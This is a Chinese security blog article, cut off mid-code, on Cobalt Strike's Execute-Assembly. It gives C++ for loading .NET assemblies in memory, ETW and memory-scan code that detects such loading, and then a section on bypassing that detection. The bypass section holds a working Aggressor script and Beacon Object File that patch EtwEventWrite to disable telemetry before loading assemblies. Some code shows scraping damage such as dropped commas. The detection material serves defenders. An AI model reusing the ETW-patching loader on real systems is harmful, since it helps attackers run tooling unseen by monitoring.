Execute-Assembly攻守之道

渗透技巧 1年前 (2023) admin
300 0 0

0x01 Execute-Assembly 原理

        在《Cobalt Strike 原理分析》一文中,介绍了内存加载程序集(Assembly)的主要有四步:

1 加载CLR环境 2 获取程序域 3 装载程序集 4 执行程序集

        在odzhan的Shellcode: Loading .NET Assemblies From Memory所描述的那样,.Net Framework随着版本的更新,使用了不同的接口,.Net Framework V1.0 采用的是ICorRuntimeHost接口,支持v1.0.3705, v1.1.4322, v2.0.50727和v4.0.30319。到了.Net Framework v2.0,采用ICLRRuntimeHost接口,支持v2.0.50727和v4.0.30319。然后到了.Net Framework v4.0,则使用了ICLRMetaHost接口,但是可能不再兼容4.0以下的.Net Framework。所以使用ICLRMetaHost接口并不是一个非常合适的接口。

        我们可以使用多个函数进行接口的实例化,最常见的可能属CoCreateInstance或者CLRCreateInstance

CoInitializeEx以及CoCreateInstance
CorBindToRuntime或者CorBindToRuntimeEx
CLRCreateInstance以及ICLRRuntimeInfo

        剩下的关于获取程序域,装载程序集,以及执行程序集在Execute-Assembly实现都有具体实现。完整代码如下。

#include <stdio.h>
#include <tchar.h>
#include <metahost.h>
//
#import "mscorlib.tlb" raw_interfaces_only   
     high_property_prefixes("_get","_put","_putref")  
     rename("ReportEvent""InteropServices_ReportEvent"
 rename("or""InteropServices_or")


using namespace mscorlib;
//
#pragma comment(lib, "MSCorEE.lib")
//
int _tmain(int argc, _TCHAR* argv[])
{
 HANDLE hFile = CreateFileA("CSharp.exe",
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL);
 if (NULL == hFile)
 {
  return 0;
 }
 DWORD dwFileSize = GetFileSize(hFile, NULL);
 if (dwFileSize == 0)
 {
  return 0;
 }
 PVOID dotnetRaw = malloc(dwFileSize);
 memset(dotnetRaw, 0, dwFileSize);
 DWORD dwReturn = 0;
 if (ReadFile(hFile, dotnetRaw, dwFileSize, &dwReturn, NULL)==FALSE)
 {
  return 0;
 }
//
 ICLRMetaHost* iMetaHost = NULL;
 ICLRRuntimeInfo* iRuntimeInfo = NULL;
 ICorRuntimeHost* iRuntimeHost = NULL;
 IUnknownPtr pAppDomain = NULL;
 _AppDomainPtr pDefaultAppDomain = NULL;
 _AssemblyPtr pAssembly = NULL;
 _MethodInfoPtr pMethodInfo = NULL;
 SAFEARRAYBOUND saBound[1];
 void* pData = NULL;
 VARIANT vRet;
 VARIANT vObj;
 VARIANT vPsa;
 SAFEARRAY* args = NULL;
//
 //检测点1
 CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&iMetaHost);
 iMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
 iRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
 iRuntimeHost->Start();
//
 iRuntimeHost->GetDefaultDomain(&pAppDomain);
 pAppDomain->QueryInterface(__uuidof(_AppDomain), (VOID**)&pDefaultAppDomain);
//
 saBound[0].cElements = dwFileSize;
 saBound[0].lLbound = 0;
 SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, saBound);
//
 SafeArrayAccessData(pSafeArray, &pData);
 memcpy(pData, dotnetRaw, dwFileSize);
 //free(dotnetRaw);   //释放1
 SafeArrayUnaccessData(pSafeArray);
//
 //检测点2
 pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);
 //free(pSafeArray->pvData);
 pAssembly->get_EntryPoint(&pMethodInfo);

 ZeroMemory(&vRet, sizeof(VARIANT));
 ZeroMemory(&vObj, sizeof(VARIANT));
 vObj.vt = VT_NULL;

 vPsa.vt = (VT_ARRAY | VT_BSTR);
 args = SafeArrayCreateVector(VT_VARIANT, 01);

 if (argc > 1)
 {
  vPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, argc);
  for (long i = 0; i < argc; i++)
  {
   SafeArrayPutElement(vPsa.parray, &i, SysAllocString((OLECHAR*)argv[i]));
  }

  long idx[1] = { 0 };
  SafeArrayPutElement(args, idx, &vPsa);
 }

 //检测点3
 HRESULT hr = pMethodInfo->Invoke_3(vObj, args, &vRet);
 pMethodInfo->Release();
 pAssembly->Release();
 pDefaultAppDomain->Release();
 iRuntimeInfo->Release();
 iMetaHost->Release();
 CoUninitialize();
 getchar();
 return 0;
};

0x02 Execute-Assembly检测思路

根据上述的Execute-Assembly的实现原理,可以预测到Execute-Assembly主要有3个检测点。第一个检测点是加载CLR环境,第二个检测点是加载程序集,第三个检测点在于执行入口点的地方。在我看来,第一第二个检测点是比较好实现的。

0x2.1 ETW使用前置知识

根据XPN在他的博文Hiding your .NET – ETW一文中指出利用ETW(Event Trace for Windows)检测CLR的加载。而ProcessHacker或者ProcessExplorer这两款工具都能从进程角度查看进程是否加载了CLR环境。Execute-Assembly攻守之道

        使用logman query providers命令查看所有的提供者。如图,执行结果的第一项是提供者名称,第二项是提供者对应的GUID。Execute-Assembly攻守之道

        也可以通过设置指定得provider name或者GUID来获取具体的提供者的详细信息。即使用logman query providers <provider name>或者logman query providers <GUID>

        通过执行logman query providers ".NET Common Language Runtime"语句返回的结果如下。除了具有第一部分提供程序的名称和GUID之外,第二部分是一些关键字的信息,也就是筛选事件的标志。通过设置这些标志来筛选我们所需要的事件。第三部分是安全级别,而第四部分对应的是事件对应的进程ID和进程路径。

PS C:Users14349> logman query providers ".NET Common Language Runtime"

提供程序                                 GUID
-------------------------------------------------------------------------------
.NET Common Language Runtime             {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}

值                   关键字                  描述
-------------------------------------------------------------------------------
0x0000000000000001  GCKeyword            GC
0x0000000000000002  GCHandleKeyword      GCHandle
0x0000000000000004  FusionKeyword        Binder
0x0000000000000008  LoaderKeyword        Loader
0x0000000000000010  JitKeyword           Jit
0x0000000000000020  NGenKeyword          NGen
0x0000000000000040  StartEnumerationKeyword StartEnumeration
0x0000000000000080  EndEnumerationKeyword StopEnumeration
0x0000000000000400  SecurityKeyword      Security
0x0000000000000800  AppDomainResourceManagementKeyword AppDomainResourceManagement
0x0000000000001000  JitTracingKeyword    JitTracing
0x0000000000002000  InteropKeyword       Interop
0x0000000000004000  ContentionKeyword    Contention
0x0000000000008000  ExceptionKeyword     Exception
0x0000000000010000  ThreadingKeyword     Threading
0x0000000000020000  JittedMethodILToNativeMapKeyword JittedMethodILToNativeMap
0x0000000000040000  OverrideAndSuppressNGenEventsKeyword OverrideAndSuppressNGenEvents
0x0000000000080000  TypeKeyword          Type
0x0000000000100000  GCHeapDumpKeyword    GCHeapDump
0x0000000000200000  GCSampledObjectAllocationHighKeyword GCSampledObjectAllocationHigh
0x0000000000400000  GCHeapSurvivalAndMovementKeyword GCHeapSurvivalAndMovement
0x0000000000800000  GCHeapCollectKeyword GCHeapCollect
0x0000000001000000  GCHeapAndTypeNamesKeyword GCHeapAndTypeNames
0x0000000002000000  GCSampledObjectAllocationLowKeyword GCSampledObjectAllocationLow
0x0000000020000000  PerfTrackKeyword     PerfTrack
0x0000000040000000  StackKeyword         Stack
0x0000000080000000  ThreadTransferKeyword ThreadTransfer
0x0000000100000000  DebuggerKeyword      Debugger
0x0000000200000000  MonitoringKeyword    Monitoring

值                   级别                   描述
-------------------------------------------------------------------------------
0x00                win:LogAlways        Log Always
0x02                win:Error            Error
0x04                win:Informational    Information
0x05                win:Verbose          Verbose

PID                 映像
-------------------------------------------------------------------------------
0x000035a8          C:WindowsSystem32WindowsPowerShellv1.0powershell.exe
0x000022dc          F:usersMPic 2.2.1.3MPic.exe
0x000033c8          F:usersmarkdownpad2-portableMarkdownPad2.exe
0x00001b3c          C:Program FilesCONEXANTSAIISmartAudio.exe
0x00001818
0x00000e34


命令成功结束。

        XPN在他的博文Hiding your .NET – ETW中,也给出了验证测试代码,代码的功能简而言之就是通过ETW实时的捕获.NET Common Language Runtime提供者的AssemblyDCStart_V1事件。但是这个验证代码有一个缺陷就是,只有当Assembly Loader进程退出后才能捕获对应的AssemblyDCStart_V1事件。但是,这对我来说是致命的。所以我尝试使用krabsetw库来实现。

#define AssemblyDCStart_V1 155
#define LoaderKeyword 0x08

#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>
#include <wmistr.h>
#include <evntrace.h>
#include <Evntcons.h>

static GUID ClrRuntimeProviderGuid = { 0xe13c0d230xccbc0x4e12, { 0x930x1b0xd90xcc0x2e0xee0x270xe4 } };

// Can be stopped with 'logman stop "dotnet trace" -etw'
const char name[] = "dotnet trace";

#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{

    ULONG64 AssemblyID;
    ULONG64 AppDomainID;
    ULONG64 BindingID;
    ULONG AssemblyFlags;
    WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1;
#pragma pack()

static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {

    PEVENT_HEADER eventHeader = &EventRecord->EventHeader;
    PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;
    AssemblyLoadUnloadRundown_V1* assemblyUserData;

    switch (eventDescriptor->Id) {
        case AssemblyDCStart_V1:
            assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;
            wprintf(L"[%d] - Assembly: %sn", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);
            break;
    }
}

int main(void)
{
    TRACEHANDLE hTrace = 0;
    ULONG result, bufferSize;
    EVENT_TRACE_LOGFILEA trace;
    EVENT_TRACE_PROPERTIES *traceProp;

    printf("ETW .NET Trace example - @_xpn_nn");

    memset(&trace, 0sizeof(EVENT_TRACE_LOGFILEA));
    trace.ProcessTraceMode    = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;
    trace.LoggerName          = (LPSTR)name;
    trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;

    bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);

    traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);
    traceProp->Wnode.BufferSize    = bufferSize;
    traceProp->Wnode.ClientContext = 2;
    traceProp->Wnode.Flags         = WNODE_FLAG_TRACED_GUID;
    traceProp->LogFileMode         = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;
    traceProp->LogFileNameOffset   = 0;
    traceProp->LoggerNameOffset    = sizeof(EVENT_TRACE_PROPERTIES);

    if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {
        printf("[!] Error starting trace: %dn", result);
        return 1;
    }

    if ((result = EnableTraceEx(
        &ClrRuntimeProviderGuid,
        NULL,
        hTrace,
        1,
        TRACE_LEVEL_VERBOSE,
        LoaderKeyword
        0,
        0,
        NULL
    )) != ERROR_SUCCESS) {
        printf("[!] Error EnableTraceExn");
        return 2;
    }

    hTrace = OpenTrace(&trace);
    if (hTrace == INVALID_PROCESSTRACE_HANDLE) {
        printf("[!] Error OpenTracen");
        return 3;
    }

    result = ProcessTrace(&hTrace, 1NULLNULL);
    if (result != ERROR_SUCCESS) {
        printf("[!] Error ProcessTracen");
        return 4;
    }

    return 0;
}

0x2.2 krabsetw安装与使用

        krabsetw是微软开发的一个C++库,其主要目的在于简化ETW的交互。krabsetw目前只支持x64的操作系统,而且编译环境最好是VS2017及以上。

        本文也并不使用推荐的NuGet安装krabsetw。而是使用vcpkg进行包管理。具体的关于NuGet的使用可以参考这篇文章。

         当编译完成vcpkg.exe之后,使用.vcpkg.exe list查看已经安装的开源库,然后使用.vcpkg.exe install krabsetw:x64-windows安装krabsetw库。并且一定要将项目的预处理器设置为UNICODE。至于NDEBUGTYPEASSERT任选其一进行设置。这是krabsetw项目所规定的。具体参见项目说明:https://github.com/microsoft/krabsetw/blob/master/krabs/README.md

        使用krabsetw捕获CLR加载事件代码如下,具体的使用例子可以参考krabsetw例子说明。值得注意的是这个设置的关键字我设置的是MonitoringKeyword是可以实时监控的。而不是设置LoaderKeyword

#define MonitoringKeyword 0x0000000200000000  
void DetectByETW()
{
 //回调函数
 auto assembly_callback = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context)
 {
  
  krabs::schema schema(record, trace_context.schema_locator);
  krabs::parser parser(schema);
  pids.push_back(record.EventHeader.ProcessId);
  //获取ProcessId
  DWORD dwPid = record.EventHeader.ProcessId;
  WCHAR szExeFile[MAX_PATH] = { 0 };
  DWORD dwSize = MAX_PATH;
  HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwPid);
  QueryFullProcessImageNameW(hProcess, 0, szExeFile, &dwSize);
  //检测内存信息
  BOOL bIsExecuteAssembly = DetectByMemory(hProcess);
  if (bIsExecuteAssembly == TRUE)
  {
   SetConsoleColor(FOREGROUND_RED | FOREGROUND_INTENSITY | BACKGROUND_BLUE);
   printf("[%d] : %ls is execute-Assembly(.Net Load Memory)n", dwPid, szExeFile);
   SetConsoleColor(FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
  }
  else
  {
   printf("[%d] : %lsn", dwPid, szExeFile);
  }
  return TRUE;

 };
 
 //设置跟踪会话
 krabs::user_trace trace(L"Assembly Load Monitor");
 
 //设置Provider
 krabs::provider<> dotnet_rundown_provider(L".NET Common Language Runtime");  //L".NET Common Language Runtime"
 
 //设置筛选事件关键字,逻辑为any模式
 dotnet_rundown_provider.any(MonitoringKeyword);
 
 //设置回调函数
 dotnet_rundown_provider.add_on_event_callback(assembly_callback);

 //开始
 trace.enable(dotnet_rundown_provider);
 trace.start();

}

0x2.3 加载程序集

        第二个检测点位于加载程序集之后。在memcpy处打一个断点。

SafeArrayAccessData(pSafeArray, &pData);
memcpy(pData, dotnetRaw, dwFileSize);
SafeArrayUnaccessData(pSafeArray);
//检测点2
pDefaultAppDomain->Load_3(pSafeArray, &pAssembly);

        并在memcpy函数执行之后的目的地址下一个执行断点,并执行。这一步是为了定位需要加载的程序集在Assembly Loader进程中的位置。因为Assembly内存加载,程序集必然在进程的内存空间中。只是需要定位在哪里?且那块内存的内存属性和类型。Execute-Assembly攻守之道Execute-Assembly攻守之道

        可以看到程序集保存在内存类型为MEM_COMMITMEM_PRIVATE以及保护类型为PAGE_READWRITE的内存块Execute-Assembly攻守之道Execute-Assembly攻守之道

        整个扫描逻辑就很简单了,只需要调用VirtualQueryEx获取内存信息,只需要选择内存类型为MEM_COMMITMEM_PRIVATE以及保护类型为PAGE_READWRITE的内存块。然后扫描PE头信息即可。

BOOL DetectByMemory(HANDLE hProcess)
{
 UCHAR SignMemory[] = { 0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65 };
 BOOL bIsExecuteFile = FALSE;
 if (NULL == hProcess)
  return bIsExecuteFile;
 SYSTEM_INFO sysInfo = { 0 };
 GetSystemInfo(&sysInfo);
 MEMORY_BASIC_INFORMATION pMemInfo = { 0 };
 DWORD dwErrorCode;

 for (DWORD64 MemoryAddress = (DWORD64)sysInfo.lpMinimumApplicationAddress; MemoryAddress < (DWORD64)0x700000000000; MemoryAddress += pMemInfo.RegionSize) //0x7ff4e85d0000   0x70000000
 {
  if (bIsExecuteFile == TRUE)
   break;
  if (VirtualQueryEx(hProcess, (LPVOID)MemoryAddress, &pMemInfo, sizeof(MEMORY_BASIC_INFORMATION)) == 0)
   break;

  if ((pMemInfo.Type == MEM_COMMIT || pMemInfo.Type == MEM_PRIVATE) && pMemInfo.Protect == PAGE_READWRITE) //
  {
   PVOID pMemoryBuffer = malloc(pMemInfo.RegionSize + 1);
   memset(pMemoryBuffer, 0, pMemInfo.RegionSize + 1);
   SIZE_T dwReturnNumber = 0;
   if (ReadProcessMemory(hProcess, pMemInfo.BaseAddress, pMemoryBuffer, pMemInfo.RegionSize, &dwReturnNumber) == FALSE)
   {
    printf("[!] ReadProcessMemory Failedn");
    free(pMemoryBuffer);
    pMemoryBuffer = NULL;
    continue;
   }
   for (DWORD64 dwIndex = 0; dwIndex < pMemInfo.RegionSize + 1; dwIndex++)
   {
    if ((memcmp((PVOID)((DWORD64)pMemoryBuffer + dwIndex), SignMemory, sizeof(SignMemory)) == 0) &&
     (memcmp((PVOID)((DWORD64)pMemoryBuffer + dwIndex - 0x4E), "MZ"2) == 0))
    {
     bIsExecuteFile = TRUE;
     break;
    }
   }
   free(pMemoryBuffer);
   pMemoryBuffer = NULL;
  }
 }

 return bIsExecuteFile;

}

0x03 绕过上述检测

        绕过上述检测的最简单的思路就是Patch ETW。而我想的是使用BOF进行Bypass ETW 以及Assembly加载。值得庆幸得是CobaltStrike官方以及有大佬已经做了这一部分的研究。

0x3.1  脚本学习

        在官方的文档Beacon Object Files中,详细描写了怎么使用CNA和BOF。根据文档提供的例子。

alias hello {
 local('$barch $handle $data $args');
 
 # figure out the arch of this session
 $barch  = barch($1);
 
 # read in the right BOF file
 $handle = openf(script_resource("hello. $+ $barch $+ .o"));
 $data   = readb($handle, -1);
 closef($handle);
 
 # pack our arguments
 $args   = bof_pack($1"zi""Hello World"1234);
 
 # announce what we're doing
 btask($1, "Running Hello BOF");
 
 # execute it.
 beacon_inline_execute($1, $data, "demo", $args);
}

        使用local定义了本地变量。

local('$barch $handle $data $args');

        使用barch函数获取进程架构,以此后续拼接读取BOF时使用。参数$1表示的是当前会话的ID。Alias的参数有3个。

  • $0 是我们起的别名和传输的参数
  • $1 是当前会话的 ID
  • $2-3-4….第二个参数及以后,就是我们 是我们传递的参数,他们由空格隔开,我们举一个例子:
# figure out the arch of this session
$barch  = barch($1);

        然后通过readb读取BOF文件(.obj)

# read in the right BOF file
$handle = openf(script_resource("hello. $+ $barch $+ .o"));
$data   = readb($handle, -1);
closef($handle);

        然后再将参数打包。参数1 $1表示会话ID,第二个参数是传入参数的类型,参数类型如下。从第三个参数就是传入的参数。

Type Description                       Unpack With (C)
b     binary data                      BeaconDataExtract
i     4-byte integer                   BeaconDataInt
s     2-byte short integer             BeaconDataShort
z     zero-terminated+encoded string      BeaconDataExtract
Z     zero-terminated wide-char string (wchar_t *)BeaconDataExtract
# pack our arguments
$args   = bof_pack($1"zi""Hello World"1234);

        最后调用beacon_inline_execute,其实就是执行inline_execute命令。第三个参数是入口点函数。

# execute it.
beacon_inline_execute($1, $data, "demo", $args);

        需要参考Sleep语言的说明http://sleep.dashnine.org/manual/index.html

beacon_command_register(
"InlineExecute_Assembly"
"test1"
"test2");

alias InlineExecute_Assembly{
 $data = substr($05);
 @args = split(' ', $data);
 println(@args); 

 local('$AssemblyPath $AssemblyArgs');
 $AssemblyPath = "";
 $AssemblyArgs = "";

 @Optional = @("--AssemblyPath" , "--AssemblyArgs");
 for($i = 0; $i < size(@args) ; $i++){
  if (@args[$i] eq "--AssemblyPath"){
   if(@args[$i + 1] ne ""){
    $AssemblyPath = @args[$i + 1];
    #println($AssemblyPath);
   }
   
  }
  else if (@args[$i] eq "--AssemblyArgs"){
   for($j = $i + 1; $j < size(@args) ; $j++){
    if(@args[$j] in @Optional){
     break;
    }
    if(strlen($AssemblyArgs) == 0){
     $AssemblyArgs = @args[$j]
    }
    else{
     $AssemblyArgs = $AssemblyArgs." ".@args[$j];
    }
   }
   #println($AssemblyArgs);
  }
 }

 # charge AssemblyPath is invaid
 if($AssemblyPath eq "" || !-exists $AssemblyPath || !-isFile $AssemblyPath){
  println($AssemblyPath." is vailed or does not existn");
  return;
 }
    
    # read .Net
 $AssemblyHandle = openf($AssemblyPath);
 $AssemblyLength = lof($AssemblyPath);
 $AssemblyBytes = readb($AssemblyHandle , -1);
 closef($AssemblyHandle);
 if(strlen($AssemblyBytes) == 0){
  println($AssemblyPath."load failed n");
 }
 println("size of .Net is: ".$AssemblyLength);

 # load bof
 $barch  = barch($1);
 $BofPath = script_resource("InlineExecute_Assembly_ $+ $barch $+ .obj");
 
 $BofHandle = openf($BofPath);
 $BofBytes = readb($BofHandle, -1);
 closef($BofHandle);
 if(strlen($BofBytes) == 0){
  println($BofPath." load failed n");
  return;
 }
 println("bof file path is: ".$BofPath);
 println("size of bof file is:".lof($BofPath));

 println("args is:".$AssemblyArgs);
 $bofArgs = bof_pack($1"biz",  $AssemblyBytes , $AssemblyLength , $AssemblyArgs);
 #$bofArgs = bof_pack($1"zi",  $BofPath , $AssemblyLength);
 btask($1"Running Inline_Execute Assembly BOF");
 beacon_inline_execute($1, $BofBytes, "go", $bofArgs);

 clear(@Optional);

}

0x3.2 BOF编写

        BOF主要需要实现两个点,第一实现ByPass ETW,第二需要实现Assembly加载。先看官方给的例子。首先使用BeaconDataParse解析参数,然后调用BeaconDataExtractBeaconDataInt依次获取string类型和int类型。

BeaconDataParse(&parser, args, length);
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "beacon.h"

void demo(char * args, int length) {
 datap  parser;
 char * str_arg;
 int    num_arg;
 
 BeaconDataParse(&parser, args, length);
 str_arg = BeaconDataExtract(&parser, NULL);
 num_arg = BeaconDataInt(&parser);
 
 BeaconPrintf(CALLBACK_OUTPUT, "Message is %s with %d arg", str_arg, num_arg);
}

        其中Bypass ETW原理很简单,只需要Patch EtwEventWrite或者EtwEventWriteFull函数,而Assembly Load就是上面所描述的四个步骤即可。

#include "InlineExecute_Assembly.h"
#include "beacon.h"

#define STATUS_SUCCESS 0

BOOL PatchETW()
{
 LPVOID pEtwEventWrite = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

 if (pEtwEventWrite == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] pEtwEventWrite Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] pEtwEventWrite Success");

 DWORD oldProtect;

#ifdef _M_AMD64
 SIZE_T length = 1;
 char patch[] = { 0xc3 };
#elif defined(_M_IX86)
 SIZE_T length = 3;
 char patch[] = { 0xc2,0x14,0x00 };
#endif

 NTSTATUS ntStatus = STATUS_SUCCESS;
 HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, TRUE, KERNEL32$GetCurrentProcessId());
 BeaconPrintf(CALLBACK_OUTPUT, "[+] OpenProcess Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, PAGE_EXECUTE_READWRITE, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");

 SIZE_T NumberOfBytesWritten = 0;
 if (KERNEL32$WriteProcessMemory(hProcess, pEtwEventWrite, patch, length, &NumberOfBytesWritten) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] WriteProcessMemory Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] WriteProcessMemory Success");

 if (KERNEL32$VirtualProtectEx(hProcess, pEtwEventWrite, length, oldProtect, &oldProtect) == FALSE)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] VirtualProtectEx Failed");
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] VirtualProtectEx Success");
 return TRUE;

}


BOOL FindVersion(char* AssemblyBytes, int dwLength)
{
 BOOL flag = TRUE;
 char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 };
 for (int i = 0; i < dwLength; i++)
 {
  if (MSVCRT$memcmp(AssemblyBytes, v4, 10) == 0)
  {
   flag = TRUE;
   break;
  }
 }
 return flag;
 //int count = 0;
 //for (int i = 0; i < dwLength; i++)
 //{
 // for (int j = 0; j < 10; j++)
 // {
 //  if (AssemblyBytes[i] == v4[j])
 //  {
 //   count++;
 //  }
 // }
 // if (count == 10)
 // {
 //  flag = TRUE;
 //  break;
 // }
 // count = 0;
 // 
 //}
 //return flag;
}

BOOL AssemblyLoad(wchar_t* wNetVersion , char* AssemblyBytes , DWORD AssemblyLength, LPWSTR* ArgumentsArray, int NumArguments)
{
 HRESULT hr;
 ICLRMetaHost* iMetaHost = NULL;
 ICLRRuntimeInfo* iRuntimeInfo = NULL;
 ICorRuntimeHost* iRuntimeHost = NULL;
 IUnknown* pAppDomain = NULL;
 AppDomain* pDefaultAppDomain = NULL;
 Assembly* pAssembly = NULL;
 MethodInfo* pMethodInfo = NULL;

 SAFEARRAYBOUND saBound[1];
 void* pData = NULL;
 VARIANT vRet;
 VARIANT vObj;
 VARIANT vPsa;
 SAFEARRAY* args = NULL;

 hr = MSCOREE$CLRCreateInstance(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (VOID**)&iMetaHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] CLRCreateInstance Failed:%d",hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLRCreateInstance Success");


 hr = iMetaHost->lpVtbl->GetRuntime(iMetaHost, wNetVersion, &xIID_ICLRRuntimeInfo, (VOID**)&iRuntimeInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!] GetRuntime Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetRuntime Success");

 hr = iRuntimeInfo->lpVtbl->GetInterface(iRuntimeInfo,&xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (VOID**)&iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetInterface Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetInterface Success");

 hr = iRuntimeHost->lpVtbl->Start(iRuntimeHost);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]CLR Start Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] CLR Start Success");


 //hr = iRuntimeHost->lpVtbl->GetDefaultDomain(iRuntimeHost,&pAppDomain);
 hr = iRuntimeHost->lpVtbl->CreateDomain(iRuntimeHost, (LPCWSTR)L" "NULL, &pAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]GetDefaultDomain Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] GetDefaultDomain Success");


 hr = pAppDomain->lpVtbl->QueryInterface(pAppDomain, &xIID_AppDomain, (VOID**)&pDefaultAppDomain);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]QueryInterface Failed:%p", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] QueryInterface Success");

 saBound[0].cElements = AssemblyLength;
 saBound[0].lLbound = 0;
 SAFEARRAY* pSafeArray = OLEAUT32$SafeArrayCreate(VT_UI1, 1, saBound);
 if (pSafeArray == NULL)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayCreate Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+]SafeArrayCreate Success");

 hr = OLEAUT32$SafeArrayAccessData(pSafeArray, &pData);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayAccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayAccessData Success");

 MSVCRT$memcpy(pData, AssemblyBytes, AssemblyLength);

 hr = OLEAUT32$SafeArrayUnaccessData(pSafeArray);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]SafeArrayUnaccessData Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] SafeArrayUnaccessData Success");

 hr = pDefaultAppDomain->lpVtbl->Load_3(pDefaultAppDomain,pSafeArray, &pAssembly);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]Load_3 Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] Load_3 Success");

 hr = pAssembly->lpVtbl->EntryPoint(pAssembly,&pMethodInfo);
 if (hr != ERROR_SUCCESS)
 {
  BeaconPrintf(CALLBACK_ERROR, "[!]EntryPoint Failed:%d", hr);
  return FALSE;
 }
 BeaconPrintf(CALLBACK_OUTPUT, "[+] EntryPoint Success");

 MSVCRT$memset(&vRet, 0sizeof(VARIANT));
 MSVCRT$memset(&vObj, 0sizeof(VARIANT));
 vObj.vt = VT_NULL;
 vPsa.vt = (VT_ARRAY | VT_BSTR);
 args = OLEAUT32$SafeArrayCreateVector(VT_VARIANT, 01);
 if (NumArguments > 1)
 {
  vPsa.parray = OLEAUT32$SafeArrayCreateVector(VT_BSTR, 0, NumArguments);
  for (long i = 0; i < NumArguments; i++)
  {
   OLEAUT32$SafeArrayPutElement(vPsa.parray, &i, OLEAUT32$SysAllocString(ArgumentsArray[i]));
  }
  long idx[1] = { 0 };
  OLEAUT32$SafeArrayPutElement(args, idx, &vPsa);
 }

 hr = pMethodInfo->lpVtbl->Invoke_3(pMethodInfo,vObj, args, &vRet);
 if (hr != ERROR_SUCCESS)
 {
